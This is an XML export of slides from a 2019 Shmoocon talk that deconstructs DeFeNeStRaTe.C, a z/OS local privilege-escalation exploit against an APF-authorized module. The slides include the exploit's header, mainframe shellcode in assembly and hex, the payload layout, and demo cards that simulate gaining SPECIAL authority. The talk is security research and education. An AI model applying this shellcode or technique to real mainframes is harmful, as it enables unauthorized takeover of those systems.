<text><span class="style96">es, overflows are possible on mainframesSee @bigendiansmalls work in this DEFCON talk: DEFCON 23: Security Necromancy</span><span class="style68"></span></text>
</content>
<name></name>
<script></script>
</card>
card_44110.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1"></span><span class="style74">Does it work?</span></text>
</content>
<content>
<layer>background</layer>
<id>1</id>
<text><span class="style96"> Theoretically yes- Was IOELMD10 vulnerable?Hard to say. We don't think this code was complete. And testing it hasnt yielded results. **BUT** IBM deleted this library from future revisions of the OS. </span><span class="style68"></span></text>
</content>
<name></name>
<script></script>
</card>
card_21917.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<script>function typeWritter text,time,fieldnamerepeat with i=1 to length of textput char 1 to i of text into card field fieldnamewait for random(time)end repeatend typeWritterfunction showCard text,fieldnameput text into card field fieldnameend showCardon mouseUp-- NEWLINES!-- &return&¬put typeWritter("echo 'Lets Exploit'",20,CMD1) into twait for random(50)put showCard("Lets Exploit"&return&¬"$", OUTPUT1) into twait for 70put typeWritter("./DeFeNeStRaTe",20,CMD2) into twait for 70put showCard("[+] FIRST RUN"&return&¬"[>] addr of environ base is X'1EE00EFB'"&return&¬"[>] BPX1EXC Resolved to 13D5274"&return&¬"[>] execing ./DeFeNeStRaTe"&return&¬"[+] SECOND RUN"&return&¬"[>] addr of environ base is X'1EE0BFFC'"&return&¬"[>] BPX1EXC Resolved to 13D5274"&return&¬"[>] execing /u/badguy/IOEMDLDTST"&return&¬"----------- IOEMLDTST DUMMY DEMO PROGRAM ----------"&return&¬"EXECUTING PASSED SHELLCODE ----- DONE!"&return&¬"$",OUTPUT2) into twait for 70put typeWritter("cat root.txt",20,CMD3) into twait for random(50)put showCard("ARF ARF MESS WITH THE BEST DIE LIKE THE REST"&return&¬"$", OUTPUT3) into twait for 70put typeWritter("/bin/tsocmd alu badguy special",20,CMD4) into twait for random(50)put showCard("$", OUTPUT4) into twait for 70put typeWritter("echo 'lol 0wned. rip.'",20,CMD5) into twait for random(50)put showCard("lol 0wned. rip."&return&"$", OUTPUT5) into tend mouseUp</script>
</part>
<content>
<layer>card</layer>
<id>1</id>
<text>$</text>
</content>
<name></name>
<script>on openCardrepeat with i=2 to 11put "" into cd fld iend repeatend openCard</script>
</card>
card_24400.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<script>function typeWritter text,time,fieldnamerepeat with i=1 to length of textput char 1 to i of text into card field fieldnamewait for random(time)end repeatend typeWritterfunction showCard text,fieldnameput text into card field fieldnameend showCardon mouseUp-- NEWLINES!-- &return&¬put typeWritter("ls -El",20,CMD1) into twait for random(50)put showCard("-rwxr-xr-x --s- 1 BADGUY EMPLOYEE 90112 DeFeNeStRaTe"&return&¬"-rw------- --s- 1 IBMUSER EMPLOYEE 13 root.txt"&return&¬"-rwxr-xr-x a-s- 1 IBMUSER EMPLOYEE 77824 IOEMLDTST"&return&¬"$", OUTPUT1) into twait for 70put typeWritter("cat root.txt",20,CMD2) into twait for 70put showCard("cat: root.txt: EDCS111I Permission denied."&return&"$",OUTPUT2) into tput typeWritter("/bin/tsocmd alu badguy special",20,CMD3) into twait for random(50)put showCard("ICH21005I NOT AUTHORIZED TO SPECIFY SPECIAL/NOSPECIAL, OPERAND IGNORED."&return&"$",OUTPUT3) into tend mouseUp</script>
</part>
<part>
<id>6</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>0</left>
<top>83</top>
<right>512</right>
<bottom>163</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>OUTPUT1</name>
<script></script>
</part>
<part>
<id>7</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>16</left>
<top>134</top>
<right>176</right>
<bottom>154</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>CMD2</name>
<script></script>
</part>
<part>
<id>8</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>0</left>
<top>151</top>
<right>512</right>
<bottom>185</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>OUTPUT2</name>
<script></script>
</part>
<part>
<id>9</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>14</left>
<top>168</top>
<right>377</right>
<bottom>187</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>CMD3</name>
<script></script>
</part>
<part>
<id>10</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>0</left>
<top>184</top>
<right>512</right>
<bottom>264</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>OUTPUT3</name>
<script></script>
</part>
<content>
<layer>card</layer>
<id>1</id>
<text>$</text>
</content>
<name></name>
<script>on openCardrepeat with i=2 to 7put "" into cd fld iend repeatend openCard</script>
</card>
card_43880.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1"></span><span class="style74">Breaking down BASR</span></text>
</content>
<content>
<layer>background</layer>
<id>1</id>
<text><span class="style1"></span><span class="style96">BrandAndSaveRegister:ΓÇ£The processor places the address of the byte following the BASR instruction in the first register. Then a branch to the second register is performed.ΓÇ¥</span><span class="style68"></span></text>
</content>
<name></name>
<script></script>
</card>
card_42611.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1"></span><span class="style96">- R15 is the location of BPX1EXC- BPX1EXC expects:ΓÇ£The information that the service passes to the executable file to be run is a parameter list, which is pointed to by </span><span class="style88">register 1</span><span class="style96">ΓÇ¥</span><span class="style68"></span></text>
</content>
<name></name>
<script></script>
</card>
card_40032.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style59"> SR R1,R1 LHI R1,36 SVC 107 L R15,16 L R15,16 L R15,544(,R15) L R15,24(,R15) L R15,228(,R15) SR R14,R14 BASR R1,R15</span><span class="style1"></span></text>
</content>
<content>
<layer>card</layer>
<id>1</id>
<text>R1 = 0010 0100</text>
</content>
<content>
<layer>card</layer>
<id>2</id>
<text>Get in to problem state (Key 0)</text>
</content>
<content>
<layer>card</layer>
<id>3</id>
<text>Find the address of callable service BPX1EXC (L). Zero out R14. Branch to BPX1EXC location.</text>
</content>
<name></name>
<script></script>
</card>
card_41317.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style59">1b11 SR R1,R1 a7180024 LHI R1,36 0a6b SVC 107 58f00010 L R15,16 58f00010 L R15,16 58f0f220 L R15,544(,R15) 58f0f018 L R15,24(,R15) 58f0f0e4 L R15,228(,R15) 1bee SR R14,R14 0d1f BASR R1,R15</span></text>
</content>
<content>
<layer>card</layer>
<id>5</id>
<text>1</text>
</content>
<content>
<layer>card</layer>
<id>6</id>
<text>2</text>
</content>
<name></name>
<script></script>
</card>
card_40605.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1"></span><span class="style74">Here's what our victim sees</span></text>
</content>
<content>
<layer>background</layer>
<id>1</id>
<text><span class="style1"></span><span class="style68">- Environment is 246 bytes of ΓÇ£shellcodeΓÇ¥ followed by F00FC7C8- Argument is 4096 bytes of shellcode address repeating over and over again</span></text>
</content>
<name></name>
<script></script>
</card>
card_19590.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text> unsigned int PathLen; unsigned char PathName[64]; unsigned int ArgCount; unsigned int *ArgLenList[2]; unsigned char *ArgDataList[2]; unsigned int EnvCount; unsigned int *EnvLenList[2]; unsigned char *EnvDataList[2]; void *ExitAddr; void *ExitParamListAddr; unsigned int RetVal; unsigned int RetCode; unsigned int RsnCode;</text>
<text>- We have an env variable 4096 bytes in length- The first 66 bytes is made up of: - PAYLOAD=23 - 56 bytes of machine code- Then 55 bytes that mean nothing- Then we have a BPX1EXC structure</text>
</content>
<name></name>
<script></script>
</card>
card_34247.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style78"></span><span class="style1"></span><span class="style68">Since this is still the first run PAYLOAD= isn't in our environment so we call ourselves.</span><span class="style1"></span></text>
<text><span class="style78">his bug is caused by executing LOCK CMPXCHG8B eax (</span><span class="style79">F0 0F C7 C8</span><span class="style78">). By containing two opcode errors, an unallowed lock and a non-memory target, together with trying to cache the results, it confuses the cpu to enter a deadlock state, locking up the entire computer involved.</span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_6828.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style68">ExecutableHow many pointersPointers of ArgumentsPointers of env variables</span><span class="style67"></span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_30715.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style65">The exec callable service runs a z/OS UNIX executable file that is either a program object or a REXX exec. The exec callable service replaces the current process image that calls the exec service with a new process image for the executable file that is being run.ΓÇ¥</span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_31047.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style58">o far we've created an environment variable with: - PAYLOAD=23 - A bunch of machine code</span><span class="style63">NEXT</span><span class="style58"> - use the datastructure _shellcode_BPX1EXC_Params and the Build_shellcode function</span></text>
<text><span class="style58"> This program is recursive- Calls itself if ΓÇÿPAYLOAD=ΓÇÿ isnΓÇÖt in the environment variable- Some items donΓÇÖt matter until the second run through (youΓÇÖll see)</span></text>
</content>
<name></name>
<script></script>
</card>
card_17753.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style3">n some parts IΓÇÖve stripped out extra/unused portions here to save space/time. This code is in the ΓÇÿfixedΓÇÖ folder in the Logica git under </span><span class="style57">tinyd.c</span><span class="style3">.</span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_21459.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style15"> Some anon account sent me this DM </span></text>
</content>
<content>
<layer>card</layer>
<id>7</id>
<text><span class="style32">ey do you know if this: </span><span class="style31">pastebin.com/zQQ7P2Xk</span><span class="style32"> is a real exploit?(and in that case is it a known one?)</span><span class="style1"></span></text>
</content>
<content>
<layer>card</layer>
<id>8</id>
<text><span class="style35">/* * oooOOOOOOOOOOO" - one mantrain loaded with PWNAGE! * o ____ :::::::::::::::::::: ::::::::::::::::: __|-----|__ * Y_,_|[]| --++++++ | WHiTEHATS GETTiN | | iT UP THE *** | | [] [] | * {|_|_|__|;|______|;;|__________________|;;|_______________|;;|_________|; * /oo--OOoo oo oo oo oo oo oo oo oo oo oo * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * :MANTRAiN: pRouDLy PeRVeRZeDLy pReSeNTz ... DeFeNeStRaTe.C!@# * - PART OF PROJECT zER/oDAYs - MAiNTRAiNING MANFRAMEZ 2 OuTAPT THE CHiNESE * z/OS OMVS local exploit for APF authorized load module IOELMD10 * 8===D APF 4 APT 8===D * */#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <errno.h>#define VICTIM "/usr/lpp/dfs/global/bin/IBM/IOELMD10"#define NUM_ARGS 1#define ARG_LEN 0x1000#define ARG_SIZE 0x2000</span><span class="style36"></span></text>
</content>
<name></name>
<script></script>
</card>
card_23377.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style15"> Some anon account sent me this DM </span></text>
</content>
<content>
<layer>card</layer>
<id>7</id>
<text><span class="style50">ey do you know if this: </span><span class="style55">pastebin.com/zQQ7P2Xk</span><span class="style50"> is a real exploit?(and in that case is it a known one?)</span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_16551.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style49">ome anon account sent me this DM... </span><span class="style15"></span></text>
</content>
<content>
<layer>card</layer>
<id>7</id>
<text><span class="style29">ey do you know if this: pastebin.com/zQQ7P2Xk is a real exploit?(and in that case is it a known one?)</span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_15887.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style15"> Investigators borked the scripts - So I took all the code from the breach- Put them on Github- I fix them up from time to time</span><span class="style28">https://github.com/mainframed/logica</span></text>
</content>
<name></name>
<script></script>
</card>
card_15416.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style22">f we can control an </span><span class="style23">APF</span><span class="style22"> authorized UNIX program (+a) we can change our </span><span class="style23">ACEEFLG1</span><span class="style22"> and essentially own the mainframe!</span><span class="style15"></span><span class="style11"></span></text>
</content>
<name></name>
<script></script>
</card>
card_12421.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style21">hen this attribute is set (+a) on an executable program file (load module), it behaves as if loaded from an APF-authorized library. For example, if this program is exec()ed at the job step level and the program is linked with the AC=1 attribute, the program will be executed as APF-authorized.</span><span class="style1"></span></text>
</content>
<name></name>
<script></script>
</card>
card_11924.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style15"> UNIX programs in z/OS have the: </span><span class="style19">EXTATTR</span><span class="style15">- Four options: a, l, p, s- We don't care about l, p or s but... </span><span class="style11">WE REALLY CARE about the 'a'</span></text>
</content>
<name></name>
<script></script>
</card>
card_11510.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style15">- In memory you can map the location of the ACEE- At OFFSET 0x26 You can find the ACEEFLG1</span><span class="style11"></span></text>
</content>
<name></name>
<script></script>
</card>
card_9773.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style15"> RACF is this monolithic database that controls access to everything- When you log on it copies your access rights from that database to your memory region- THIS AREA OF MEMORY IS READ ONLY TO YOU! * It's also called the ACEE</span><span class="style11"></span></text>
</content>
<name></name>
<script></script>
</card>
card_10340.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1"></span><span class="style15">- APF programs are like SUID 0 (but worse)- They can change CPU state, even halting CPUs- But more importantly for us they can read and write to ANY region in memory!</span><span class="style11"></span></text>
</content>
<name></name>
<script></script>
</card>
card_7720.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1">- Libraries (i.e. folders) can be assigned as APF Authorized- Any exec in this folder is now 'AUTHORIZED'</span><span class="style11">But authorized for what?</span></text>
</content>
<name></name>
<script></script>
</card>
card_45127.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<script>function typeWritter text,time,fieldnamerepeat with i=1 to length of textput char 1 to i of text into card field fieldnamewait for random(time)end repeatend typeWritterfunction showCard text,fieldnameput text into card field fieldnameend showCardon mouseUp-- NEWLINES!-- &return&¬put typeWritter("cd /etc",20,CMD1) into twait for random(50)put showCard("$", OUTPUT1) into twait for 70put typeWritter("ls",20,CMD2) into twait for 70put showCard("PFA httpd.conf ioepdcf magic"&return&¬"Printsrv httpd.envvars javelin.conf mailx.rc"&return&¬"csh.cshrc ics_pics.conf ldap mvsds.conf"&return&¬"csh.login inetd.conf lgw_fcgi.conf skytalks"&return&¬"dfs init.options log pkiserv"&return&¬"$",OUTPUT2) into twait for 70put typeWritter("ps",20,CMD3) into twait for random(50)put showCard(" PID TTY TIME CMD"&return&¬" 65568 ttyp0000 0:01 /rsusr/rocket/bin/bash"&return&¬"67174433 ttyp0000 0:00 /bin/ps"&return&¬"$", OUTPUT3) into twait for 70put typeWritter("uname -a",20,CMD4) into twait for random(50)put showCard("OS/390 ZOSLAB 25.00 04 1090"&return&"$", OUTPUT4) into twait for 70put typeWritter("su",20,CMD5) into twait for random(50)put showCard("#", OUTPUT5) into tend mouseUp</script>
</part>
<part>
<id>20</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>14</left>
<top>271</top>
<right>299</right>
<bottom>293</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>CMD6</name>
<script></script>
</part>
<part>
<id>21</id>
<type>field</type>
<visible> <true /> </visible>
<dontWrap> <false /> </dontWrap>
<dontSearch> <false /> </dontSearch>
<sharedText> <false /> </sharedText>
<fixedLineHeight> <false /> </fixedLineHeight>
<autoTab> <false /> </autoTab>
<lockText> <false /> </lockText>
<rect>
<left>0</left>
<top>286</top>
<right>408</right>
<bottom>332</bottom>
</rect>
<style>transparent</style>
<autoSelect> <false /> </autoSelect>
<showLines> <false /> </showLines>
<wideMargins> <false /> </wideMargins>
<multipleLines> <false /> </multipleLines>
<reservedFamily> 0 </reservedFamily>
<titleWidth>0</titleWidth>
<icon>0</icon>
<textAlign>left</textAlign>
<font>Courier</font>
<textSize>14</textSize>
<textStyle>outline</textStyle>
<textHeight>18</textHeight>
<name>OUTPUT6</name>
<script></script>
</part>
<content>
<layer>card</layer>
<id>1</id>
<text>$</text>
</content>
<name></name>
<script>on openCardrepeat with i=2 to 11put "" into cd fld iend repeatend openCard</script>
</card>
card_8884.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1"> VTAM, TSO, DATASET, PDS, CICS, blah blah blah- You can watch any of my videos to learn more- </span><span class="style13">It runs UNIX</span><span class="style1">- </span><span class="style12">Yes that UNIX!</span><span class="style1">- It's part of z/OS (runs networking)</span><span class="style11"></span></text>
</content>
<name></name>
<script></script>
</card>
card_43660.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text><span class="style1">he Internet Mainframes ProjectScours the internet for mainframes and takes a screenshot of the cool TN3270 artwork and posts it on tumbler and twitter: </span><span class="style4">mainframesproject.tumblr.com</span><span class="style1"> </span><span class="style4">@netmainframes</span><span class="style1"></span></text>
</content>
<name>Start</name>
<script></script>
</card>
card_4593.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<text>I am not here in the name of, or on behalf of, my employer.Any views expressed in this talk are my own and not those of my employer.This talk discusses work performed in my spare time using personal equipment and resources.</text>
</content>
<name>Start</name>
<script></script>
</card>
card_2873.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE card PUBLIC "-//Apple, Inc.//DTD card V 2.0//EN" "" >
<script>function cardNameData-- this handler stores the name of the card to go to-- user. DO NOT MOVE THE POSITION OF THIS HANDLER!return "Start"end cardNameDataon mouseUpset cursor to watch -- for the slower machinehide menubarvisual effect dissolvego to card cardNameData()if the result is not emptythen answer "Can't find card" && "ΓÇ£" & cardNameData() & "ΓÇ¥" -- Γêåend mouseUp</script>
</part>
<content>
<layer>card</layer>
<id>1</id>
<text>DeconstructingDeFeNeStRaTe.C</text>
</content>
<content>
<layer>card</layer>
<id>2</id>
<text>Soldier of FORTRAN@mainframed767Shmoocon, 2019</text>
